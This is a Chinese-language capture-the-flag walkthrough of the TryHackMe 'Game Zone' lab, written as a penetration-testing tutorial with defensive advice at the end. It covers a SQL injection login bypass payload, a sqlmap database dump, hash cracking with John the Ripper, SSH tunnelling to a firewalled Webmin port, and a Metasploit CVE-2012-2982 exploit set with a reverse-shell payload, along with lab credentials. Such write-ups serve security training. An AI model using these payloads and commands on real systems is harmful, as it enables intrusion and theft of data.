【THM】offensive-Game Zone
字数 1475 2025-08-29 22:41:38
Game Zone渗透测试实战教学文档
1. 信息收集阶段
1.1 初始扫描
使用nmap进行初始扫描,发现开放端口:
- 22端口:SSH服务
- 80端口:HTTP服务
1.2 Web应用识别
访问80端口发现一个论坛,通过图像识别确定卡通头像为"Agent 47"。
使用Wappalyzer识别技术栈:
- Web服务器:Apache 2.4.18
- 后端语言:PHP
- 操作系统:Ubuntu
1.3 漏洞研究
检查Apache 2.4.18版本未发现已知漏洞。
2. SQL注入攻击
2.1 手动SQL注入
发现用户登录表单存在SQL注入漏洞,使用以下payload绕过认证:
用户名:任意(如admin)
密码:' or 1=1; --
2.2 使用SQLMap自动化注入
- 使用BurpSuite拦截搜索功能请求并保存为request.txt
- 执行SQLMap命令:
sqlmap -r request.txt --dbms mysql --dump
参数说明:
-r:使用保存的请求文件--dbms:指定数据库类型--dump:导出整个数据库
3. 密码破解
3.1 哈希识别
使用hashidentifier工具识别哈希类型为SHA-256。
3.2 使用JohnTheRipper破解
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA256
参数说明:
hash.txt:包含哈希值的文件--wordlist:指定字典文件--format:指定哈希算法
4. SSH隧道技术
4.1 套接字检查
使用ss命令检查运行中的套接字:
ss -tulpn
参数说明:
-t:TCP套接字-u:UDP套接字-l:仅监听套接字-n:禁用名称解析-p:显示使用套接字的进程
4.2 反向SSH隧道
发现被防火墙阻止的10000端口服务,使用SSH隧道本地访问:
ssh -L 10000:localhost:10000 <username>@<ip>
5. SSH端口转发详解
5.1 正向代理(-L)
语法:
ssh -L [local_port]:[remote_host]:[remote_port] [username]@[remote_host]
示例:
ssh -L 9000:imgur.com:80 user@example.com
5.2 反向代理(-R)
语法:
ssh -R [remote_port]:[local_host]:[local_port] [username]@[remote_host]
需要在远程服务器sshd_config中添加:
GatewayPorts yes
5.3 SOCKS5代理(-D)
语法:
ssh -D [local_port] [username]@[remote_host]
示例:
ssh -D 1080 user@example.com
5.4 优化参数
常用组合参数:
-C:压缩数据-q:安静模式-T:禁止远程分配终端-n:关闭标准输入-N:不执行远程命令-f:后台运行
6. Webmin漏洞利用
6.1 漏洞识别
发现Webmin版本1.580,存在CVE-2012-2982漏洞。
6.2 Metasploit利用
- 启动msfconsole
- 搜索漏洞:
search webmin
或
search cve-2012-2982
- 设置参数:
set username agent47
set password videogamer124
set rhosts 127.0.0.1
set rport 10000
set payload cmd/unix/reverse
set lhost <your_ip>
set lport 4433
set SSL false
- 执行exploit获取root权限
6.3 直接URL利用
http://localhost:10000/file/show.cgi/root/root.txt
7. 关键命令速查表
| 命令 | 用途 |
|---|---|
' or 1=1; -- |
基本SQL注入payload |
sqlmap -r request.txt --dbms mysql --dump |
SQLMap数据库导出 |
john hash.txt --wordlist=rockyou.txt --format=Raw-SHA256 |
密码破解 |
ss -tulpn |
检查运行中的套接字 |
ssh -L 10000:localhost:10000 user@ip |
本地端口转发 |
ssh -R 10000:localhost:10000 user@ip |
远程端口转发 |
ssh -D 1080 user@ip |
SOCKS5代理 |
8. 防御建议
- 对所有用户输入进行严格的验证和过滤
- 使用参数化查询防止SQL注入
- 及时更新Web服务器和应用程序
- 使用强密码策略并定期更换密码
- 限制SSH访问和端口转发功能
- 定期进行安全审计和漏洞扫描